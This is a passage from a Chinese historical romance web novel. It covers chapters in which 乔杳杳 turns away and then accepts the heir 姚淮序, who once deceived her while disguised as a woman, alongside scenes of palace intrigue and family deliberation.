禁军听令将绑着红绸的兔子放归山林,众人骑马去追,乔杳杳也在其中,她和曹倸、徐显还有沈祀安待在一处。
徐显不解,“季与,这次你怎么……”
曹倸出身世家,闻言蹙眉摇头支住他的话头,小声说道,“宫中秘事,不要知道。”
乔杳杳定眼睛在一处出神,如意杖,好像在哪里听过,是在哪里呢?
“乔三,走了。”
50. 她才不是什么笼中雀
“小姐,有人在咱们门上别了一段桃枝。”
沉月捧着桃枝进屋,放在木桌上,转身给乔杳杳整理床铺,手上动作不停,“这桃枝会是谁送的?”
乔杳杳边喝茶边讲书翻页,半个眼神都没有分给那桃枝,“田螺姑娘吧,谁知道呢。”
“田螺姑娘?那可真是个……善良人?”
乔杳杳端起茶杯,呵笑一声,“不觉得她蠢吗?”
“蠢?”
沉月将盘中的鸡蛋剥壳,露出嫩白,光洁滑弹,傍晚时候不明显,但终归是哭过,这会儿子倒是往上泛劲儿肿了起来。
乔杳杳拿鸡蛋滚在眼尾,听沉月碎嘴子念叨,
“寺里没有冰块,外面的水倒是寒凉,但是羊皮囊里面装了热水给小姐暖床用,就拿鸡蛋滚滚然后上些药吧。
明日夫人起来看到姑娘这副模样定是又要心疼了,奴婢晚膳之后碰到了夫人身边的嬷嬷,嬷嬷跟奴婢打听今儿下午的事,动静也不小,又是使者来,夫人肯定有所耳闻。不过说到这个,小姐到底是怎么想的?”
“什么怎么想的?”
沉月试探问道,“那奴婢说啦?”
乔杳杳笑了一声,“你说的还少吗?有什么话快讲吧。”
沉月嘿嘿地笑,俏皮吐舌,“当然是小侯爷和太孙殿下,小姐是怎么想的?”
“小侯爷和小姐有婚约,也算得上是郎才女貌家世相配,虽然小侯爷做事桀骜了些,在盛京风评不大好,可就他总是偷偷来看小姐,这两日的殷勤还有对小姐的态度来看,也并非不是不能考虑。
太孙殿下也算相处过一段时日,性子更加温润,样貌就更不必说了,李嬷嬷曾经说呀,这观音像乃是吉兆,可遇不可求,只见于与天道有缘之人,奴婢看太孙殿下的福分且在后头。”
乔杳杳嘴边笑意越来越浅,“你知道我为什么说田螺姑娘蠢吗?”
沉月犹豫着摇摇头,乔杳杳的鸡蛋放在盘子里,示意她去取药,摊到明面上给她讲明白,
“渔夫捡了田螺养在家中,无非就给了一缸水泡着,对于田螺来说,这难道不算是囚禁失去了自由吗?她本来的天地可不拘泥于这一瓮水,那田螺还每日帮他打扫房屋,与他成婚,难道不傻吗?你再想,渔夫最初养田螺是为了什么?”
“善心?”
“那他为什么不放回田里或者每日悉心照料?”
“为了……”
“是啊,不蠢吗?还心甘情愿帮他打扫屋子,报恩?一缸水的恩吗?”
沉月唏嘘,乔杳杳又道,“溪月郡的事情你忘记了?还是说,姚淮序他男扮女装的事情你忘记了?”
听到乔杳杳直呼太孙殿下的名号沉月下意识阻止,唯恐传了出去叫人拿捏住把柄,说一个大不敬,可乔杳杳却反问她,“你知我这是大不敬那你有没有想过你刚才说的那番话,是你该说的吗?我在宫里许久未回,你连规矩都忘了?!”
沉月连忙跪下,后背惊出一身冷汗,“小姐,奴婢知错。”
“连我都不敢轻易讲,你倒好,和哪个长嘴婆子学了这些也敢拿回来卖弄?我看你是一个人在院子里独大,越发没了规矩。”
“奴婢知错,小姐恕罪。”
“那些年岁小的叫你两句姐姐给你灌点迷魂汤就没了主意?什么该做什么不该做都忘了?明日你跟着母亲身边的嬷嬷重新再学学规矩,我看呐,没有程伯是一点儿都不行。”
“是……”
“行了,上药吧。”
沉月挨了数落不敢再胡乱讲话,心里肯定是有些委屈,却无半分怨言。
“咚咚咚——”
窗柩被不轻不重的力道拍打着,传出三声响。
主仆二人对视一眼,乔杳杳吹灭了桌子上的蜡烛,在黑暗中沉月浑身警惕,预想着一会儿发生了意外怎么保护自家小姐。
乔杳杳却安抚地拍了两下沉月肩膀,沉月正摸不着头脑,窗外又传来一声无奈的叹息,
“元娘……”
男人嗓音!沉月不可置信的瞪大眼睛,难道追求她家小姐的还有第三个人!这声音单听着便让人感觉出对方的无奈和窘迫还有几分求饶。
屋里人没动静,窗外再次传来声响,“元娘,你不说话我就开窗了?”
沉月还在回味“元娘”两字,这个只有在北郡呆过的才知道,猝不及防听到对方这么一说,似曾相识,就在嘴边,那个答案呼之欲出,心脏已经疯狂跳动,完全没有了害怕,只有对来人身份的好奇。
乔杳杳见沉月这副模样又好笑又好气,弹她两个脑瓜,自己起身走到窗边不待来人掀开窗她就支好了窗柩。
月光倾泻而下,照亮了来人,照亮了窗木,还照亮了乔杳杳的衣袖,正巧今儿是个圆月,凉风顺着敞开的口子一股脑灌进屋子,吹得沉月一个激灵,回了神,连忙拿毯子盖在乔杳杳身上。
离近看,果然是白日的太孙殿下,夜晚的敲窗人,姚淮序。
姚淮序探进半个身子,乔杳杳靠着窗边坐下,两人一左一右,一俯一仰,月亮的微光顺着乔杳杳的下巴滚落掩藏到毯子里,她紧了紧身上毯子,半笑着问,
“太孙殿下好雅致,这月亮赏着赏着就赏到了我这窗户旁。竹杖呢?诶?怎么不见你的竹杖?”
姚淮序求饶道,“元娘你快饶了我吧。”
乔杳杳乐了,“太孙殿下这么叫不合规矩,元娘是女儿家的闺名,随便可叫不了,您快回去吧,让人瞧见了,也不好。”说着她就做探出窗外的动作去看四周有没有人。
可身子刚一动姚淮序就扶住了她,“没人,是我想见你。”
两人离得极近,姚淮序说得直白,那映射到乔杳杳眼睛里的神色更是直白,没有更亲昵的话语,却比剖白了心迹更加赤裸。
乔杳杳挂着笑的嘴角落下,垂首拢紧自己身上的毯子,露出一段白色脖颈,光滑如洁。
她拂去他的手,往后靠了靠,借窗户挡住一半冷风,这风,吹得人浑身凉。
“没什么好见的,一个鼻子两个眼,都一样,既然也见过了,太孙殿下早点回去,日后呢,也不要来了,不过想必您是使者,也住不了多久,趁这几日好好游玩盛京也是美事一番。”
“我不是故意骗你的。”
“我不想游玩,我想和你……”
乔杳杳抬起头,表情冷淡,“我不想知道。”
装都不装了,一见面压根就没有应有的礼数,乔杳杳被骗那么长时间与他同吃同住,如今骗子在眼前,怎么可能不气?
姚淮序来之前准备好的千言万语,各种解释说词此刻都变得苍白无力,脑子里一片空白,“元娘…”
乔杳杳故作轻松,“其实也理解,太孙殿下身份高贵,自然要做一番掩饰,北郡的事情已经过去了,乔家不会向外泄露半点,太孙殿下尽管放心,既然过去了,那之前的事情就权当没有。”
她举起手,风从手指缝穿过,“就像这风一样。”
表情不悲
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不喜,无怒无乐,平淡到不能再淡,冷静到极致。
这是撇清楚不想再有任何瓜葛的意思,姚淮序气得扣住姑娘后脑勺拉到眼前,弯腰与她齐平,另一只手制住姑娘挣扎推搡的手。
他一张观音像,却也只是瞧着温润如玉,身处高位者,又是十七八岁的少年郎,一身矜贵,哪里有什么真正的温润。
“我骗了你是不对,你在气头上我也理解,但是你别说这种话。”
“我知你心里不舒服,可是你那日担心我也并非作假,元娘,生气可以,但是日后再不相见这种话不要再讲,好吗?”
乔杳杳不可置信看向他,迟疑地慢慢起身,试探性挣脱他的手腕,毯子从她身上滑落下去,堆叠在地上,无暇顾及,沉月早就有眼力见出去了。
又后退两步,稳了稳心神,少女先是恭敬做了福礼,一字一句讲得明白,
“太孙殿下应当是误会了,小女对于殿下只有仰慕之情并无爱慕之意。”
“他日……”
“对,他日殿下扮作阿序姐姐寄住在乔府时元娘只当殿下是好姐妹,是友情并非心倾。”
“溪月郡也是,换作谁我都会救,小侯爷在气头上红了眼做的不对,但是殿下,我求小侯爷不是为了你,我是为了自己良心,为了心安。”
姚淮序有些哑口无言,看着乔杳杳欲言又止不知说些什么,忽而转头望向窗外的树,背对着乔杳杳坐在窗边。
太孙殿下,一直都是骄傲的人。
最终还是乔杳杳先妥协,微不可查地叹口气,继续道,“之前元娘不知殿下身份,多有冒犯,还请太孙殿下不要迁怒于乔家,也望殿下另寻佳偶,配得良缘。”
他声音已经哑掉,苍白道,“我不要。”
乔杳杳膝盖一弯要行大礼,姚淮序眼疾手快一把扶住,这会儿他眼尾殷红得不像话,眼睛里也能看见雾气,乔杳杳下意识抬头看他,可他却避开姑娘视线,落在衣袍处。
“我不信你没情,若是无意又怎么会在意那条红绳,戴了许久。”
乔杳杳垂眸,“不管是什么相处久了都有感情,人是,猫猫狗狗……”
“乔元娘!”少年嗓音发了狠,风雨欲来。乔杳杳却恍若未闻,直白与他对视,眼睛里真正的情绪翻涌,那是种不甘、不愿、不服气。
可是整个人又很平静。
“就算是养个猫猫狗狗日子久了也有感情。”
……
窗户被合上,月亮带着月光全部撤了回去,屋内一片漆黑,乔杳杳的肩膀松垮下来,别好窗户后一边走一边脱去外衫,仰躺在床上,手遮住眼睛,困意全无,那股子“热劲儿”还未消散。
一个两个,全想凭着自己心意来,可是她从来没有说过愿意。
赐婚是,说娶她也是。
姚淮序男扮女装做阿序姐姐时的日子两个人是相处的很好,也做了约定,可那些约定是和苏清序,从来都不是姚淮序,更不是太孙殿下。
沈祀安位高权重是带乔杳杳见了许多,他的谋略聪慧她也见识过,而且一直以来,自己都是他棋局中的一环。
她也算是钟鼎之家的姑娘,可面对真正的“权贵”,一点儿都躲不过。
恍惚之间好像闻到了梨花香味儿,偏头看见桌子上的桃枝赤裸,本就不多花儿都散落在地上。
她乔杳杳眸中清明,且行且看且等,等一个时机,日子且长。
她才不是什么笼中雀,召之即来,挥之即去。
52. 紧张,转折
有些下雨,乔杳杳一出殿春来的伞就迎了上来,没让她湿半点,还小声提醒道,“姑姑,小侯爷还在外等着。”
乔杳杳闷闷“嗯”了一声,春来是个人精,一听就知道人不高兴,伺候更精细了,伞往乔杳杳处又偏了偏,乔杳杳感觉出来不轻不重看了春来一眼,春来低头不与她对视。
她倒也没说什么。
沈祀安没进去在坤宁宫外等着,乔杳杳出来时面上带气,一打眼就看见沈祀安自己撑伞,还对着她笑眯眯明眼人一瞧就是不怀好意。
少年抱暇以待,嬉皮笑脸没个正形,问道,“都说了什么?这么久才出来?乔姑姑在里面喝茶可叫我在外面好等。”
“这不是都等下雨了吗?”
他伸出手去接雨点子,细如牛毛。
呵——
乔杳杳闭眼,仿佛看到朱红色高不见顶宫墙,甬长的宫道,抬头望不清金碧的横梁和烦人的脸,模模糊糊蹙眉道,“海面茫茫不见舟。”
沈祀安乐了,挑眉笑着问道,“这是讲了什么让乔三小姐这么有感而发?这么没精气神可不是你的做派,嗯?”
他朝里看了一眼,眼睛依旧笑着,最后视线落在乔杳杳手腕处,眼疾手快掏出来镯子一下子就挂了上去。
突如其来的动作让乔杳杳刚刚平复的脑子炸开,放烟花一样,五颜六色的,上等玉做出来的自然品色样样都好,白玉色更衬得姑娘肤白滑嫩,脸上怒意都生动三分。
她拿手往外褪却摘不下来,谁知道刚才怎么那么滑溜一下子就进去了,动作越来越大,眉头紧皱,身上散出来的烦躁更胜。
姑娘眉眼低垂,吊着一口的好脾气也沉到海底,冷嘲热讽道,“小侯爷好生霸道,也不管别人想要不想要,不在乎别人是怎么想的,自以为是对……”
沈祀安敛笑恢复正经模样,凑近些歪头道,“今个儿真是把你气糊涂了?”
乔杳杳一口气没提上来生生卡在半路,余光看到青来已经头低得不能再低,周围的太监匆匆而过,步履急切。
她把袖口往下拢,嘴上说着“却之不恭,多谢小侯爷。”
手上上下下拍并不存在的灰尘,还有几分傲气,落在旁人眼里只会觉得乔姑姑身份地位不一般,连沈小侯爷都让三分,日后成婚想必也是富贵云锦般的日子。
一面称叹她日后有个好夫婿,一面艳羡她如今身份高贵。
镯子有分量地挂在乔杳杳手腕处,让她顿生生出一种力不从心的恍然,人也变得不那么锐气,后退两步弯腰做福礼,青来跟着弯腰,伞自然而然挡住两人,犹如屏风又如天堑。
“我还有事,就不奉陪小侯爷了。”
她扭头就走,却被叫住,
“乔三!”
沈祀安染上些不悦,但也耐着性子,乔杳杳止步。
“……你等我片刻,我亲自送你回去。”
她未曾回头,站得笔直,声音闷闷的,“多谢小侯爷,但多日不见家中长辈甚是思念,难免归家心切,还望小侯爷见谅。”
没有等到回应,乔杳杳继续往前走,雨落到地上又跳上她的裙摆,青来偷偷往后瞟了眼,被吓一大跳。
沈祀安就那么举着伞看她背影,看她步履未停,看她未曾犹豫未曾留恋,他的伞没挡住他的眉眼,那是一种复杂,沉闷的情绪,可又厉色分明,叫人就算因为这样的情绪犹豫却没人敢与他直接对视,去贴近。
走得远了些沈祀安又叫了一声,“乔杳杳。”
喜怒不辨。
青来的心提到了嗓子眼,背后仿佛有什么洪水猛兽,可乔杳杳却泰然自若。
她听见了,但她始终没回头,直至雨幕将视线切断,将他们分割开。
若是有人在墙檐上,那么一定会发现,黄瓦红墙的宫道两处尽头,有人一身红衣,有人一身蓝服,蓝服的那位身后还跟着另一个人。
蓝色的纯粹,红色的幽深。
两处的人背对而行,分隔出两种气场、景致,像是两条线,上一秒仿佛永远不会有交集,下一秒又仿佛永远交织在一起。
蓝色的那位像冬日寒冰,冷静自若;红色的宛如阎罗,不怒自威。
两种颜色,两种极致,藏在深宫,隐在朦朦雨雾中。
……
青来送乔杳杳走过宫道至城门时,外间已有马车候着,乔杳杳将自己的耳环取下递给青来,青来却将伞塞进乔杳杳的手里就着一地雨水跪下,没接那耳环也没给乔杳杳反应的时间。
“青来?”
“姑姑待青来的好青来都知道,青来做这些都是心甘情愿并不是为了什么。”
乔杳杳蹙眉道,“你这是做什么?”她伸手弯腰扶他却被他避开,眼睁睁看着他直接跪着从伞下退出来。
雨水落在脸上变成细细几股最后再汇聚到下巴簌簌掉落。
睫毛蒙上雨幕,他声音坚定道,“奴才知道奴才在做什么。”
“奴才只求姑姑允许奴才跟着您,得您个庇护。”
这个姿势乔杳杳只能看到他的头顶,“青来……你要想清楚。我和小侯爷毫无干系,背后可没他这颗大树。若是哪日得罪了他或者在宫里做事不当都会掉脑袋,我没办法保证,甚至可能护不住你。你要是想通过我牵上小侯爷我可以帮你,但是跟着我可没有什么好处。”
“青来只愿得姑姑青睐。”
她撑伞蹲下,给青来稍稍偏倚,他的背上早就全是洇湿,细雨珠子挂在眼梢,眼睛丝毫睁不开,就这样他还努力想要看清楚乔杳杳的脸。
“青来,你办事利索,人勤快,嘴上功夫也不差,是个知进退明事理的人。听闻你从前并不在殿前当差,凭你的本事不该现在才到这里。”
“姑姑?”
“辛者库十载,没人愿意去那里当差,那意味着被贬、被看不起、欺压,这宫分三六九等,辛者库算最末等,宫女太监中的最末等,你在那儿却待了足足十载,从辛者库到殿前,你只用了个把数月。”
“青来愚笨,机遇难得,可遇不可求。青来也是得着了老天爷的眷顾……”
“青来!”乔杳杳打断他,“不是你爬不上去,是你不想。“
青来静静看着她,耳边雨声渐大,余光自然也能看见乔杳杳被雨打湿的衣衫和飞扬的稀碎乌发。
只听她继续道,“自问我并无让你可攀附之处,青来,你想要什么?”
乔杳杳很有耐心,可他却讲,“姑姑,伞歪了,您的衣衫……也要湿了。”
乔杳杳笑了,自然而然道,“你跟着我总不能叫你吃亏不是?”
就这么两瞬时间,乔杳杳甚至没有过多思考就变了话头,
“行了,起来吧。”
她应下了。
青来态度明显,她是问不出来什么的。若是有心人安插在她身边的也认命,日后且长,心怀不轨有的是机会收拾。
但青来,深藏不露怀大才。
剑拔弩张的气氛瞬间缓解,青来笑起来很好看,岁数和桃肆相仿,但只是年岁相仿。
乔杳杳也笑,起身道,“有人接我,这伞你拿着。再跪着可就没有什么意思了。”
“谢谢姑姑。”
“明日我就回来了,我的东西别叫他们动。”
“是!”
他肉眼可见的高兴。
……
徐显带着两三个侍从守在城门,为首的他
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松松垮垮闲溜着马,傍晚百姓下工、归家各做其事,人多眼杂,扫过一圈后没什么发现正无聊之际徐显猛然回头,翻身下马跟着一个浑身裹得严实,左瞄右看的瘦男人进了小巷子。
三两步上前摁住对方肩膀,单薄得厉害,那人慌张要逃,他一把把对方打晕扛在肩上,走路颠簸之际,面巾下隐隐约约露出白皙的面庞。
有好事的路人打量,他也是笑着装看不见和下属说,“这江洋大盗可算是抓住了,这下总算能交差了。”
下属附和,“是呀是呀!可熬坏大家伙儿了,徐大人出手,这贼就一定是跑不了了!”
路人一听,立马喝彩呀,竖着大拇指又是塞鸡蛋又是扔花儿的,全是夸赞,扔花儿的一眼望去全是漂亮姑娘,时不时还有人抛媚眼。
正得意着迎面乔青松打马过街,乔杳杳回府的消息早就飞到乔青松的耳朵里,总是伏案晚归的乔大人难得定时离开衙门,途径小贩还买了两串妹妹爱吃的糖葫芦,此刻还揣在怀里。
他碰到徐显只是遥遥点头之举,放在平常徐显可是要上前拉着人做会儿笑面虎,不,是“老鸨”,但眼下可不是什么好时刻,他同样也是远远颔首。
一只鸽子出现在视野中,百姓跟着也看,这只鸽子准确无误落到徐显的手里,他从鸽子的脚旁取下纸条,是红纸,意为急,徐显只扫一眼笑就慢慢敛下,可面上功夫不能不做,
“大家伙儿的好意我收到了,但徐某人还有要事在身。”
说完便扬长而去,马背上还那个江洋大盗,方向是沈侯爷府邸。
……
一家子吃过晚膳,乔杳杳和父亲同哥哥喝茶,将白日里的事情大致描述一遍。
乔青松看了看父亲面色,率先开口,“许是皇后娘娘不大放心,以此要挟。”
乔杳杳蹙眉,“有什么不放心?”
乔青松道,“不放心父亲,对此……有些摇摆不定,害怕乔家日后同沈祀安异心。”
他压低声音道,“当今圣上除却多年前的旧事做的不当,到今时今日并无其他大错,要说太后专权,早就了解,崔家也日渐式微。陛下身体不大好众人皆知,父亲犹豫……”
乔青松望向父亲,乔万屹顿了顿继续道,“小侯爷的本事我有目共睹,陛下身体不好可膝下却有一子,虽年幼未曾立太子可日后好生教导,小侯爷可为摄政王。”
乔杳杳明白了,若是逼宫盛州易主一方面朝臣议论,一方面……又要血洒青台。
翻案是一回事,可立新主又是一回事。如今同陛下接触后让父亲看到了罪己诏的可能。
乔沈两家结亲本就对陛下有害而无益,这么做只能让沈祀安羽翼更加丰满,这,也是让乔万屹看到梧帝可能会写罪己诏的可能,是一种以最小牺牲换来翻案的可能。
但……沈祀安……他愿意吗?那毕竟是万人之上的至尊之位。
乔家从始至终的目的只有一个,那便是翻案,由此才愿意同沈祀安绑在一处。
不,还有来自沈祀安的威胁……
乔万屹衡量过后拿手拍拍儿子的肩膀,笑着对一双儿女讲,“做什么事情要有始有终,一方面讲根据时局而变,另一方面讲相信自己。最初这决定是咱们一家人做的,之后不管遇到什么事都是咱们一家人整整齐齐去面对,天成和元娘啊,不用犹豫太多,放手去做,若是这条路真的不满不愿,再回来和父亲讲,有乔家给你们兜底,不用怕。”
“我乔家的儿女们,自然是最好的。”
父亲永远是他们的定心丸,乔青松和乔杳杳不自觉笑了,父子三人其乐融融,又讲了些其他趣事,要不是乔夫人来催乔杳杳沐浴喝姜汤怕是要聊到三更才散场。
53. 姚淮序,我不等你的
乔杳杳沐浴过后,偏头擦发,沉月端着白瓷小碗进屋,
“小姐淋了雨再喝些姜汤暖暖身子。”
姑娘蹙鼻闻了闻,嫌弃道,“都是姜味儿,刚回来就喝了一碗现在又喝,不想喝,不想喝,拿出去吧!”
“欸,算着日子是不是该做绿豆冰汤啦?”
沉月劝道,“今日本就下了雨,小姐从宫里回来湿了衣服淋了雨,还要喝凉的怎么能行?”
“我又不是娇娇小姐,沉月,快去嘛,去嘛!”
沉月敛着笑意,“真是拿小姐你没办法,几日不见小姐小姐都瘦了,本来夫人安排了绿豆冰瓷汤打算过些日子叫小姐回家省亲,不想小姐今日就回来。说起来也真是凑巧,前脚刚踏进院子里,后脚小侯爷就送来了杨梅,要不……奴婢叫小厨房做成了冰梅子汤给小姐尝尝鲜?”
手巾搭在架子上,乔杳杳散着长发坐在桌前,一想起沈祀安就有股子气不通顺,但是这梅子可没惹她,
“做!给各院儿都送去尝尝。”
“其他院儿可没小姐这么贪凉~”
“话多!”
沉月捂嘴偷笑,跟着嬷嬷学规矩归学规矩,但这活泼的性子可没改。
冰梅子汤好做,挑拣着上好杨梅洗净同糖水煮过后再用冰冰上,冰是库里拿的很是方便。
没过一会儿就端到了乔杳杳面前,小瓷勺拿在手里时她没忍住揶揄道,“这杨梅才下就送来,沈小侯爷还真闲。乔府缺他这一口吃的?”
冰冰凉凉的梅子汤酸酸甜甜,滑入喉咙,直冲脑门的凉。
沉月偷笑,提醒道,“小姐尝尝鲜就好了,不要多食,天凉吃多了凉物不好。”
“嗯,沉月,这段时间我不在家有没有发生什么?”
沉月思酌片刻回复道,“并无,倒是……”
“倒是什么?”
“布谷布谷~~”几声鸟叫打断两人的对话,沉月停顿一下,道,
“倒是太孙殿下送来样东西……”
乔杳杳似恍惚似回忆,下意识摩挲手腕处,白玉手指碰到温热实感的镯子时又猛然回过神,不经意道,
“啊—是什么?”
“布谷布谷~~”又是两声鸟叫,紧跟着有小厮喊,“小姐好,嬷嬷派人来问问小姐明日的安排,新来的丫鬟……”
沉月不得不停下,边开门边往外走边说话,“不是早就说过了吗?我和嬷嬷……”
声音戛然而止半晌没动静,乔杳杳出生询问,
“沉月?”
“沉月?沉……”刚一抬头门她就被人捂住嘴僵在原地,来人醉醺醺的一身酒味儿,月白衣袍玉石冠,眼神迷离。
临关门前姑娘余光看见桃肆对着沉月双手合十,嘴里嘟嘟囔囔不知道在说什么,费承风则是仰头看院里面的树,双手背到背后,来回扭着头把心虚出卖的一清二楚。
乔杳杳已经站了起来,姚淮序转身又把手搭在她嘴上,另一只手扶住腰,让人不得不抵住桌边,姑娘偏头躲,结果这手顺着姑娘的动作而肆意变动,更不料他竟然大胆直接抬住姑娘下巴将气息喷洒在她的笔尖。
寝衣袖子从前胸划过还未落到实处下一刻就让人举过头顶,露出白色臂藕,软滑细腻。
“姚淮序!”
这人胳膊卸力,两只嫩胳膊自然滑落,还没反应过来一个温热带着潮意的怀抱就将她拢住。刚洗完澡,头发半干,皂角香被酒香侵染,交织混匀弥漫围绕在两人四周,眼神相对,乔杳杳从一开始的错愕惊怒,变成不可置信。
他并未完完全全抱住她,而是手撑在圆桌上。
不是完整的拥抱,但确实是将她抱满了怀。
不可置信到最后只变成了一句,“姚淮序,你喝醉了。”
说不上来是什么情绪更多,在很久很久很久的以后,特别寻常的午后,姚淮序睡醒以后想起多年前的这件事后用一句话来形容:她惯会装世上最厉害的女娘,自恃冷静。
他们在田庄抱过,在北郡抱过,在书院抱过,但从来没有一次像现在一样,抱过,以一个男人和女人的身份,以乔府三小姐和锦州皇太孙的身份。
他长高了许多,乔杳杳只堪堪到他的肩膀,瞧着满脸醉态,其实身上酒味并没有多少,乔杳杳微不可查的叹气,放弃抵抗,安静得只能听见两个人的呼吸,
“姚淮序,你醉了。”
“嗯。”
“什么时候回去?”
“嗯……明日吧。”
姚淮序无力地垂首,脑袋搭在乔杳杳的肩膀上,自己弯着腰,这是一个不太舒服的姿势,但是姚淮序贪恋这份亲近,就这么生生僵倚着。
有个三两息的时间后乔杳杳抬手轻推,头偏向一侧,声音从姚淮序的耳边传到心里,如针刺一般。
姑娘是个狠心的姑娘。
“太孙殿下来这最后一次就不要来了,不说别的,好歹我也是个待字闺中的姑娘家,一次不行还要闹两次,这不好。”
“之前也和殿下讲的明白,殿下……”
姚淮序脑袋快要埋进她的颈窝,头发蹭到脖颈,有些痒,姑娘抬手挡住,染上几分严肃,“姚淮序,差不多行了。”
姚淮序浑身一僵,随后像猫浑身炸毛似的,有些恼,寻去看乔杳杳的眼睛,平静地如同湖水,没有波澜,没有不舍,没有恼怒,平淡到不能再平淡,手从白玉镯子上划过,心生妒忌,可她却坦然至极,这份坦诚坚定的倒叫他生出怯意。
软声撇嘴道,“梧帝叫我娶霁月公主。”
乔杳杳莫名想起徐显和藏在假山里的半道身影,稍加斟酌,继而问道,“可换名帖,可立婚书。”
姚淮序笑弯眼,挑眉应道,“自是没有。”
乔杳杳心思不在这处,脑海里将满都城的适龄姑娘家都过了一遍,封有郡主的几位都待字闺中,了然于心随后提醒道,“霁月公主虽身份高贵,但性子使然有自己的主意,不成也无妨,盛京岁数相仿可结姻亲的姑娘不在少数,今岁新封的丽宁郡主样貌才学人品样样上成,殿下可与郡主见上一面再做定夺。”
“元娘!”
乔杳杳蹙眉一副不解道,“殿下这是做什么?无缘无故进入别家后院现在还要出声呵斥主人家?”
姚淮序气昏了头,拿手支住脑袋,身子靠住木门,发出钝响。
认认真真和她道,“沈祀安在殿上说非你不可,难道我不是?”
“你可知他是什么人?心里又有什么算计?就算这样你也愿意那他可以我为什么不行?你和他才相与多少时日又和我相与多少时日?我承认我之前是骗了你,但是那是因为……”
“因为一些难言之隐是吗?”
乔杳杳接过话头,继续往下说,“你是你,他是他,太孙殿下,那些你所以为的我和你之间的心心相印不过是镜花水月,触不可及;海市蜃楼,如梦似幻。你能明白吗?”
姚淮序笑了,死死盯住她,“我知道你处境艰难,乔家举步维艰,他能给你的我何尝不能?就算你们二人有婚约可这婚约也抵不过两国之间的誓约,他能做到的同样我也能,你所做的所担忧的无非就是……”
她打断他,“殿下,何必呢?”
姚淮序恍若未闻,继续道,“闲庭淡茶我未必不懂。”
“殿下……我不喜欢那样的日子。”乔杳杳仰起头声音渐低,满是无可奈何。
两人静默一瞬,姚淮序问她,“我若非要提亲呢?”
乔杳杳毫不犹豫要撩起裙摆行大礼,满头乌发先从肩膀滑落,姚淮序气急了将人一把抱坐在在桌上,扣着姑娘的后脑勺强迫她
仰面和自己鼻尖相对,温热的气息喷洒在她的面上,死死盯住她。
乔杳杳被吓一咯噔,伸手去推,可刚刚碰到那人的衣角整个眼睛就被盖住,有一处热源隔着姚淮序的手同她的眼睛贴在一起。
她知道那是什么,浑身都僵住,本来打算推他的手当下不知怎么就攥住了他的衣角,此时看上去倒像是不舍。
“元娘,你在害怕什么?你相信我不可以吗?”
“我……殿下,你我…”
“你我怎样?又要说你对我无意,叫我望自珍重吗?元娘,你别再骗我也别再骗自己了好吗?”
乔杳杳干笑掩饰道,“殿下喝多了,我叫七哥……”
还没说完,姚淮序就将要跳桌逃跑的兔子一把捞回,诚诚恳恳道,
“你若打定主意与我毫无瓜葛又怎么会留我的字帖?”
姚淮序退开点距离,两双漂亮眼睛毫无预兆地对视,乔杳杳的眼睛不自然地四处扫,“殿下字迹工整,值得一学。”
“你书里夹着一片向日
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葵。”
“花美而无错,不过是那日祭祀游街后太累的我随手……”
“我没说那花是当时那朵。”
“你!”乔杳杳从脖子红到耳根,轮到姚淮序游刃有余了。
“你并非会胡乱相信陌生人,可溪月郡你任由我跟着你走了很久,甚至与我搭话,若说你没认出来不大可能,若说你认出来了,你又怎么可能不知道我是男人?”
他贴近,“你知道,后来撕下面具的时候你那时是真的震惊吗?你早就知道,元娘,你当时只是一时间恍惚不可置信,并且,你……其实没有很生气,这个说来说去的借口,从始至终都是拿它搪塞我。”
“本就是你骗了人,殿下到现在还不肯承认,我同殿下讲却被殿下恶意揣测,竟不知还能如此这样狡辩。”
乔杳杳的话已经没有半分攻击力,姚淮序瞧激得姑娘差不多了抛出最后一击,
“那红绳呢?”
“什么红绳?”
“沈祀安抢走的那条,你日日夜夜都戴的那条。仔细想想,你真的介意恨到骨子里了吗?苏清序和姚淮序本就是一人,若是留着她的红绳又何尝不是惦念我呢?元娘,白玉镯虽好,可,你真的喜欢吗?”
乔杳杳偏头,红了眼,可嘴上淬了毒般,依旧道,“喜欢。两情相悦,陛下赐旨有何不喜。”
“你抬头看我。”
乔杳杳还没觉出来自己声音已经染上几分哽咽,
“不要”
这话说出来更像是撒娇一般。
“非得要嫁?”
浓浓的鼻音“嗯”了一声。
姚淮序看着她又好笑又好气又委屈地讲,“那我便做小,夜夜翻窗,与侯爷夫人同赏这明月,共度良辰,同与她长相守,生生世世。”
姑娘没料到一国太孙竟然能讲出这么不要脸的话,张着小嘴不可置信地看他,就这么一眼,才真是要了命。
他面色认真,弯腰与她齐平,并无玩笑之意,乔杳杳眼珠里打转的泪就那么掉了下来,她慌乱抬手抹去,可眼睛就像决堤的江水,心里大坝早已崩塌。
挣扎无言对视良久她终于朝姚淮序伸手,埋在他的锁骨处,滚烫的泪带着哽咽良久未歇。
她说,“乔家处境艰难,在盛京根基浅。”
姚淮序答,“整个锦州都是乔家的底气。”
她说,“若是乔家被为难怎么办?”
姚淮序答,“朝堂无人敢用国盟做赌约。”
“若是日后鞭长莫及……”
“那我便自请天罚,生生世世……”
恶毒的话没说出来,乔杳杳用手把他的嘴堵住,自己泪珠子掉个不停,胡言乱语道,“你刚才还说和我生生世世,你怎么前后不一,心口不一不讲理啊!烦死你了。”
姑娘在小声埋怨,连哭带嚎,姚淮序在笑,一下一下安抚着她,真心实意地笑。
观音像看人总是怜悯,可他对她只有爱惜。
缓了片刻,乔杳杳试探着叫他,“殿下。”
“嗯?”
“我想了想。”
“想反悔?”
“嗯……也不能这么说,日后到什么程度得看殿下,姚淮序,我不等你的。”
说来说去,敞开了心扉后,姑娘照样是个心狠的主儿,寻常的不都应该恨不得立刻长厮守了吗?
这位主儿还要讲“我不等你的。”
乔杳杳是最潇洒的女娘,也是最不潇洒的女娘。姚淮序早就知道,十分坦然地接受还要告诉她,
“不需要。”
他是骄傲且自信的,他害怕的只有一件事,那便是她不愿意,既然现如今知道她愿意,那便没有什么困难的。
最难的人心已经解决,其他的便无关重要,办法总比困难多。
他走时把门带上,一门之隔,一坐一立,门外那人松一口气,门内那人却垂首思量。
费承风和桃肆注意到门外那人,踌躇互相对视不知要不要往前,不知那人说了什么又得到了什么样的回应,最后带着一身的释然,隐入雨幕。
桃肆解开绑沉月的绳子,费承风将一封书信塞到她手里,随后同样消失无踪迹,沉月跌跌撞撞往屋内跑,一开门就看见自家小姐坐在桌上,衣服完好青丝微乱,抬头时,那晶莹剔透的东西掉落,被雨声掩盖。
56. 我承得全是元娘的情
